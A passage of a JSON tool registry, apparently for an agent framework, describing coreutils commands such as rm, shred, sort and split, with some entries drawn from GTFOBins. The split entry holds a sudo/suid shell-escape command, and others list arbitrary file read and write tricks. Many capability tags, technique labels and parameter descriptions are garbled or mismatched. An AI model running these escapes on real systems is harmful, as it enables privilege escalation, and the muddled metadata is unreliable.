      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.rm",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Remove files or directories",
    "examples": [
      {
        "description": "Basic usage with force",
        "command": "rm ${force}"
      },
      {
        "description": "Display help message",
        "command": "rm --help"
      }
    ],
    "execution": {
      "template": "rm -f {force} -i {flag-i} -I {flag-i} -r {recursive} -d {dir}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-rm",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      },
      {
        "method": "brew",
        "package_name": "coreutils",
        "commands": [
          "brew install coreutils"
        ]
      }
    ],
    "name": "rm",
    "namespace": "system:file:rm",
    "parameters": [
      {
        "name": "dir",
        "template_key": "dir",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "remove empty directories",
        "aliases": [
          "-d",
          "--dir"
        ],
        "flag": "-d"
      },
      {
        "name": "flag-I",
        "template_key": "flag-i",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "prompt once before removing more than three files, or when removing recursively; less intrusive than -i, while still giving protection against most mistakes --interactive[=WHEN] prompt according to WHEN: never, once (-I), or always (-i); without WHEN, prompt always --one-file-system when removing a hierarchy recursively, skip any directory that is on a file system different from that of the corresponding command line argument --no-preserve-root do not treat '/' specially --preserve-root[=all] do not remove '/' (default); with 'all', reject any command line argument on a separate device from its parent",
        "aliases": [
          "-I"
        ],
        "flag": "-I"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "prompt before every removal",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "force",
        "template_key": "force",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore nonexistent files and arguments, never prompt",
        "aliases": [
          "-f",
          "--force"
        ],
        "flag": "-f"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "interactive",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--interactive"
        ],
        "flag": "--interactive"
      },
      {
        "name": "no_preserve_root",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--no-preserve-root"
        ],
        "flag": "--no-preserve-root"
      },
      {
        "name": "one_file_system",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--one-file-system"
        ],
        "flag": "--one-file-system"
      },
      {
        "name": "preserve_root",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--preserve-root"
        ],
        "flag": "--preserve-root"
      },
      {
        "name": "recursive",
        "template_key": "recursive",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "remove directories and their contents recursively",
        "aliases": [
          "-r",
          "-R",
          "--recursive"
        ],
        "flag": "-r"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "explain what is being done --help display this help and exit --version output version information and exit",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux"
    ],
    "risk_level": "high",
    "techniques": [
      "collection",
      "data-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "setfacl.md",
    "allowed-tools": [
      "setfacl",
      "getfacl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Set file ACLs, can read files.",
    "examples": [
      {
        "description": "Read a file via setfacl",
        "command": "setfacl /path/to/file"
      }
    ],
    "execution": {
      "template": "setfacl /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "system-file-setfacl",
    "install": [
      {
        "method": "apt",
        "package_name": "acl",
        "commands": [
          "apt-get install -y acl"
        ]
      }
    ],
    "name": "setfacl",
    "namespace": "system:file:setfacl",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/setfacl/"
      }
    ],
    "related_tools": [
      "getfacl"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n\n# sha1sum — Compute and check SHA-1 message digest\n\n## Overview\n\n`sha1sum` is a command-line utility for compute and check sha-1 message digest.\n\n## Usage\n\n```\nsha1sum -b {binary} -c {check} -t {text} -z {zero} --ignore-missing {ignore-missing}\n```\n",
    "_source": "sha1sum.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.sha1sum",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Compute and check SHA-1 message digest",
    "examples": [
      {
        "description": "Basic usage with binary",
        "command": "sha1sum ${binary}"
      },
      {
        "description": "Display help message",
        "command": "sha1sum --help"
      }
    ],
    "execution": {
      "template": "sha1sum -b {binary} -c {check} -t {text} -z {zero} --ignore-missing {ignore-missing}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system",
      "encryption",
      "batch"
    ],
    "id": "system-file-sha1sum",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "sha1sum",
    "namespace": "system:file:sha1sum",
    "parameters": [
      {
        "name": "binary",
        "template_key": "binary",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "read in binary mode",
        "aliases": [
          "-b",
          "--binary"
        ],
        "flag": "-b"
      },
      {
        "name": "check",
        "template_key": "check",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "read checksums from the FILEs and check them --tag create a BSD-style checksum",
        "aliases": [
          "-c",
          "--check"
        ],
        "flag": "-c"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "ignore-missing",
        "template_key": "ignore-missing",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't fail or report status for missing files --quiet don't print OK for each successfully verified file --status don't output anything, status code shows success --strict exit non-zero for improperly formatted checksum lines",
        "aliases": [
          "--ignore-missing"
        ],
        "flag": "--ignore-missing"
      },
      {
        "name": "quiet",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--quiet"
        ],
        "flag": "--quiet"
      },
      {
        "name": "text",
        "template_key": "text",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "read in text mode (default)",
        "aliases": [
          "-t",
          "--text"
        ],
        "flag": "-t"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      },
      {
        "name": "warn",
        "template_key": "warn",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "warn about improperly formatted checksum lines --help display this help and exit --version output version information and exit",
        "aliases": [
          "-w",
          "--warn"
        ],
        "flag": "-w"
      },
      {
        "name": "zero",
        "template_key": "zero",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "end each output line with NUL, not newline, and disable file name escaping",
        "aliases": [
          "-z",
          "--zero"
        ],
        "flag": "-z"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-md5sum",
      "system-file-sha256sum"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# sha256sum — Compute and check SHA-256 message digest\n\n## Overview\n\n`sha256sum` is a command-line utility for compute and check sha-256 message digest.\n\n## Usage\n\n```\nsha256sum -b {binary} -c {check} -t {text} -z {zero} --ignore-missing {ignore-missing}\n```\n",
    "_source": "sha256sum.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.sha256sum",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Compute and check SHA-256 message digest",
    "examples": [
      {
        "description": "Basic usage with binary",
        "command": "sha256sum ${binary}"
      },
      {
        "description": "Display help message",
        "command": "sha256sum --help"
      }
    ],
    "execution": {
      "template": "sha256sum -b {binary} -c {check} -t {text} -z {zero} --ignore-missing {ignore-missing}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system",
      "encryption",
      "batch"
    ],
    "id": "system-file-sha256sum",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "sha256sum",
    "namespace": "system:file:sha256sum",
    "parameters": [
      {
        "name": "binary",
        "template_key": "binary",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "read in binary mode",
        "aliases": [
          "-b",
          "--binary"
        ],
        "flag": "-b"
      },
      {
        "name": "check",
        "template_key": "check",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "read checksums from the FILEs and check them --tag create a BSD-style checksum",
        "aliases": [
          "-c",
          "--check"
        ],
        "flag": "-c"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "ignore-missing",
        "template_key": "ignore-missing",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't fail or report status for missing files --quiet don't print OK for each successfully verified file --status don't output anything, status code shows success --strict exit non-zero for improperly formatted checksum lines",
        "aliases": [
          "--ignore-missing"
        ],
        "flag": "--ignore-missing"
      },
      {
        "name": "quiet",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--quiet"
        ],
        "flag": "--quiet"
      },
      {
        "name": "text",
        "template_key": "text",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "read in text mode (default)",
        "aliases": [
          "-t",
          "--text"
        ],
        "flag": "-t"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      },
      {
        "name": "warn",
        "template_key": "warn",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "warn about improperly formatted checksum lines --help display this help and exit --version output version information and exit",
        "aliases": [
          "-w",
          "--warn"
        ],
        "flag": "-w"
      },
      {
        "name": "zero",
        "template_key": "zero",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "end each output line with NUL, not newline, and disable file name escaping",
        "aliases": [
          "-z",
          "--zero"
        ],
        "flag": "-z"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-md5sum",
      "system-file-sha1sum"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# shred\n\nshred is a command-line utility. Securely delete files by overwriting them; can also write to arbitrary files.\n",
    "_source": "shred.md",
    "allowed-tools": [
      "shred"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Securely delete files by overwriting them multiple times.",
    "examples": [
      {
        "description": "Write to arbitrary files (sudo, suid, unprivileged)",
        "command": "shred -u /path/to/output-file"
      }
    ],
    "execution": {
      "template": "shred",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local"
    ],
    "global_vars": {},
    "id": "system-file-shred",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "shred",
    "namespace": "system:file:shred",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/shred/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n\n# sort — Sort lines of text files\n\n## Overview\n\n`sort` is a command-line utility for sort lines of text files.\n\n## Usage\n\n```\nsort -b {ignore-leading-blanks} -d {dictionary-order} -f {ignore-case} -g {general-numeric-sort} -i {ignore-nonprinting}\n```\n",
    "_source": "sort.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.sort",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Sort lines of text files",
    "examples": [
      {
        "description": "Basic usage with ignore-leading-blanks",
        "command": "sort ${ignore-leading-blanks}"
      },
      {
        "description": "Display help message",
        "command": "sort --help"
      },
      {
        "description": "Return the contents of the British English dictionary, in reverse order.",
        "command": "sort -r /usr/share/dict/british-english"
      },
      {
        "description": "The GNU sort(1) command can also filter out adjacent duplicate lines and can therefore overlap with the uniq(1) command. However, uniq(1) has some options that sort(1) cannot do so refer to the man page for you situation if you require something beyond a basic uniqueness check. In addition, there is the potential for parallizing the processing by piping sort(1) into uniq(1) for non trivial tasks. By default, sort(1) sorts lines or fields using the ASCII table. Here, we're essentially getting alphanumeric sorting, where case is handled separately; - this results in these words being adjacent to one another, thus duplicates are removed. If you need better uniq-ing, you could refer to AWK & its associative arrays.",
        "command": "printf '%s\\n' this is a list of of random words with duplicate words | sort -u"
      },
      {
        "description": "Sort numerically. If you don't provide the `-n` flag, sort(1) will instead sort by the ASCII table, as mentioned above, meaning it'll display as 1, 10, - 11, 2, 3, 4, etc.",
        "command": "printf '%d\\n' {1..9} 10 11 | sort -n"
      },
      {
        "description": "You can even sort human-readable sizes. In this example, the 2nd column is being sorted, thanks to the use of the `-k` flag, and the sorting is reversed, so that the top-most storage space hungry filesystems are displayed from df(1).",
        "command": "df -ht ext4 /dev/sd[a-z][1-9]* | sed '1d' | sort -rhk 2"
      }
    ],
    "execution": {
      "template": "sort -b {ignore-leading-blanks} -d {dictionary-order} -f {ignore-case} -g {general-numeric-sort} -i {ignore-nonprinting}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-sort",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      },
      {
        "method": "brew",
        "package_name": "coreutils",
        "commands": [
          "brew install coreutils"
        ]
      }
    ],
    "name": "sort",
    "namespace": "system:file:sort",
    "parameters": [
      {
        "name": "batch-size",
        "template_key": "batch-size",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "merge at most NMERGE inputs at once; for more use temp files",
        "aliases": [
          "--batch-size"
        ],
        "flag": "--batch-size"
      },
      {
        "name": "buffer-size",
        "template_key": "buffer-size",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "use SIZE for main memory buffer",
        "aliases": [
          "-S",
          "--buffer-size"
        ],
        "flag": "-S"
      },
      {
        "name": "check",
        "template_key": "check",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "check for sorted input; do not sort",
        "aliases": [
          "-c",
          "-f",
          "--check",
          "--check"
        ],
        "flag": "-c"
      },
      {
        "name": "check-2",
        "template_key": "check-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "like -c, but do not report first bad line --compress-program=PROG compress temporaries with PROG; decompress them with PROG -d --debug annotate the part of the line used to sort, and warn about questionable usage to standard error --files0-from=F read input from the files specified by NUL-terminated names in file F; If F is -, read names from standard input",
        "aliases": [
          "-C",
          "--check",
          "--check"
        ],
        "flag": "-C"
      },
      {
        "name": "compress_program",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--compress-program"
        ],
        "flag": "--compress-program"
      },
      {
        "name": "dictionary-order",
        "template_key": "dictionary-order",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "consider only blanks and alphanumeric characters",
        "aliases": [
          "-d",
          "--dictionary-order"
        ],
        "flag": "-d"
      },
      {
        "name": "field-separator",
        "template_key": "field-separator",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use SEP instead of non-blank to blank transition",
        "aliases": [
          "-t",
          "--field-separator"
        ],
        "flag": "-t"
      },
      {
        "name": "files0_from",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--files0-from"
        ],
        "flag": "--files0-from"
      },
      {
        "name": "general-numeric-sort",
        "template_key": "general-numeric-sort",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "compare according to general numerical value",
        "aliases": [
          "-g",
          "--general-numeric-sort"
        ],
        "flag": "-g"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "human-numeric-sort",
        "template_key": "human-numeric-sort",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "compare human readable numbers (e.g., 2K 1G)",
        "aliases": [
          "-h",
          "--human-numeric-sort"
        ],
        "flag": "-h"
      },
      {
        "name": "ignore-case",
        "template_key": "ignore-case",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "fold lower case to upper case characters",
        "aliases": [
          "-f",
          "--ignore-case"
        ],
        "flag": "-f"
      },
      {
        "name": "ignore-leading-blanks",
        "template_key": "ignore-leading-blanks",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "ignore leading blanks when finding sort keys in each line",
        "aliases": [
          "-b",
          "--ignore-leading-blanks"
        ],
        "flag": "-b"
      },
      {
        "name": "ignore-nonprinting",
        "template_key": "ignore-nonprinting",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "consider only printable characters",
        "aliases": [
          "-i",
          "--ignore-nonprinting"
        ],
        "flag": "-i"
      },
      {
        "name": "key",
        "template_key": "key",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "sort via a key; KEYDEF gives location and type",
        "aliases": [
          "-k",
          "--key"
        ],
        "flag": "-k"
      },
      {
        "name": "merge",
        "template_key": "merge",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "merge already sorted files; do not sort",
        "aliases": [
          "-m",
          "--merge"
        ],
        "flag": "-m"
      },
      {
        "name": "month-sort",
        "template_key": "month-sort",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "compare (unknown) < 'JAN' < ... < 'DEC'",
        "aliases": [
          "-M",
          "--month-sort"
        ],
        "flag": "-M"
      },
      {
        "name": "numeric-sort",
        "template_key": "numeric-sort",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "compare according to string numerical value; see full documentation for supported strings",
        "aliases": [
          "-n",
          "--numeric-sort"
        ],
        "flag": "-n"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "write result to FILE instead of standard output",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "parallel",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--parallel"
        ],
        "flag": "--parallel"
      },
      {
        "name": "random-sort",
        "template_key": "random-sort",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "shuffle, but group identical keys. See also shuf(1) --random-source=FILE get random bytes from FILE",
        "aliases": [
          "-R",
          "--random-sort"
        ],
        "flag": "-R"
      },
      {
        "name": "random_source",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--random-source"
        ],
        "flag": "--random-source"
      },
      {
        "name": "reverse",
        "template_key": "reverse",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "reverse the result of comparisons --sort=WORD sort according to WORD: general-numeric -g, human-numeric -h, month -M, numeric -n, random -R, version -V",
        "aliases": [
          "-r",
          "--reverse"
        ],
        "flag": "-r"
      },
      {
        "name": "stable",
        "template_key": "stable",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "stabilize sort by disabling last-resort comparison",
        "aliases": [
          "-s",
          "--stable"
        ],
        "flag": "-s"
      },
      {
        "name": "temporary-directory",
        "template_key": "temporary-directory",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "use DIR for temporaries, not $TMPDIR or /tmp; multiple options specify multiple directories --parallel=N change the number of sorts run concurrently to N",
        "aliases": [
          "-T",
          "--temporary-directory"
        ],
        "flag": "-T"
      },
      {
        "name": "unique",
        "template_key": "unique",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "output only the first of lines with equal keys; with -c, check for strict ordering",
        "aliases": [
          "-u",
          "--unique"
        ],
        "flag": "-u"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      },
      {
        "name": "version-sort",
        "template_key": "version-sort",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "natural sort of (version) numbers within text",
        "aliases": [
          "-V",
          "--version-sort"
        ],
        "flag": "-V"
      },
      {
        "name": "zero-terminated",
        "template_key": "zero-terminated",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "line delimiter is NUL, not newline --help display this help and exit --version output version information and exit",
        "aliases": [
          "-z",
          "--zero-terminated"
        ],
        "flag": "-z"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-file-cat",
      "system-file-comm",
      "system-file-uniq",
      "system-file-wc"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation",
      "credential-access",
      "discovery",
      "enumeration",
      "execution"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# split\n\nsplit is a command-line utility. Split a file into pieces; can also read arbitrary files, write to arbitrary files, spawn an interactive shell.\n",
    "_source": "split.md",
    "allowed-tools": [
      "split"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "system.file.write",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Split files into fixed-size pieces; can read and write files and spawn shells.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "split -b 999 --additional-suffix suffix /path/to/input-file prefix\ncat prefixaasuffix"
      },
      {
        "description": "Write to arbitrary files (sudo, suid, unprivileged)",
        "command": "split -b 999 --additional-suffix suffix /path/to/input-file prefix"
      },
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "split --filter='/bin/sh -i 0<&2 1>&2' /etc/hosts"
      }
    ],
    "execution": {
      "template": "split",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-file-split",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "split",
    "namespace": "system:file:split",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/split/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "exfiltration",
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n\n# stat — Display file or filesystem status\n\n## Overview\n\n`stat` is a command-line utility for display file or filesystem status.\n\n## Usage\n\n```\nstat -L {dereference} -f {file-system} -c {format} -t {terse} --terse {terse-2}\n```\n",
    "_source": "stat.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.stat",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Display file or filesystem status",
    "examples": [
      {
        "description": "Basic usage with dereference",
        "command": "stat ${dereference}"
      },
      {
        "description": "Display help message",
        "command": "stat --help"
      },
      {
        "description": "display numerical values for file permissions",
        "command": "stat -c '%a %n' *"
      },
      {
        "description": "Display only the octal permissions for the given directory. Great for tests.",
        "command": "stat --format='%a' /boot"
      }
    ],
    "execution": {
      "template": "stat -L {dereference} -f {file-system} -c {format} -t {terse} --terse {terse-2}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-stat",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "stat",
    "namespace": "system:file:stat",
    "parameters": [
      {
        "name": "cached",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--cached"
        ],
        "flag": "--cached"
      },
      {
        "name": "dereference",
        "template_key": "dereference",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "follow links",
        "aliases": [
          "-L",
          "--dereference"
        ],
        "flag": "-L"
      },
      {
        "name": "file-system",
        "template_key": "file-system",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display file system status instead of file status --cached=MODE specify how to use cached attributes; useful on remote file systems. See MODE below",
        "aliases": [
          "-f",
          "--file-system"
        ],
        "flag": "-f"
      },
      {
        "name": "format",
        "template_key": "format",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use the specified FORMAT instead of the default; output a newline after each use of FORMAT --printf=FORMAT like --format, but interpret backslash escapes, and do not output a mandatory trailing newline; if you want a newline, include \\n in FORMAT",
        "aliases": [
          "-c",
          "--format"
        ],
        "flag": "-c"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "printf",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--printf"
        ],
        "flag": "--printf"
      },
      {
        "name": "terse",
        "template_key": "terse",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print the information in terse form --help display this help and exit --version output version information and exit",
        "aliases": [
          "-t",
          "--terse"
        ],
        "flag": "-t"
      },
      {
        "name": "terse-2",
        "template_key": "terse-2",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--terse"
        ],
        "flag": "--terse"
      },
      {
        "name": "terse-3",
        "template_key": "terse-3",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "--terse",
          "--file-system"
        ],
        "flag": "--terse"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "phase": "enumeration",
    "platforms": [
      "linux"
    ],
    "risk_level": "low",
    "techniques": [
      "collection",
      "data-manipulation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# strings — Find printable strings in binary files\n\n## Overview\n\n`strings` is a command-line utility for find printable strings in binary files.\n\n## Usage\n\n```\nstrings -a {all} -d {data} -f {print-file-name} -n {flag-n} --bytes {bytes}\n```\n",
    "_source": "strings.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.strings",
      "system.file.search",
      "system.file.process",
      "system.file.copy",
      "system.file.move",
      "system.file.delete"
    ],
    "description": "Find printable strings in binary files",
    "examples": [
      {
        "description": "Basic usage with all",
        "command": "strings ${all}"
      },
      {
        "description": "Display help message",
        "command": "strings --help"
      }
    ],
    "execution": {
      "template": "strings -a {all} -d {data} -f {print-file-name} -n {flag-n} --bytes {bytes}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "file-system"
    ],
    "id": "system-file-strings",
    "install": [
      {
        "method": "apt",
        "package_name": "binutils",
        "commands": [
          "apt-get install -y binutils"
        ]
      },
      {
        "method": "brew",
        "package_name": "binutils",
        "commands": [
          "brew install binutils"
        ]
      }
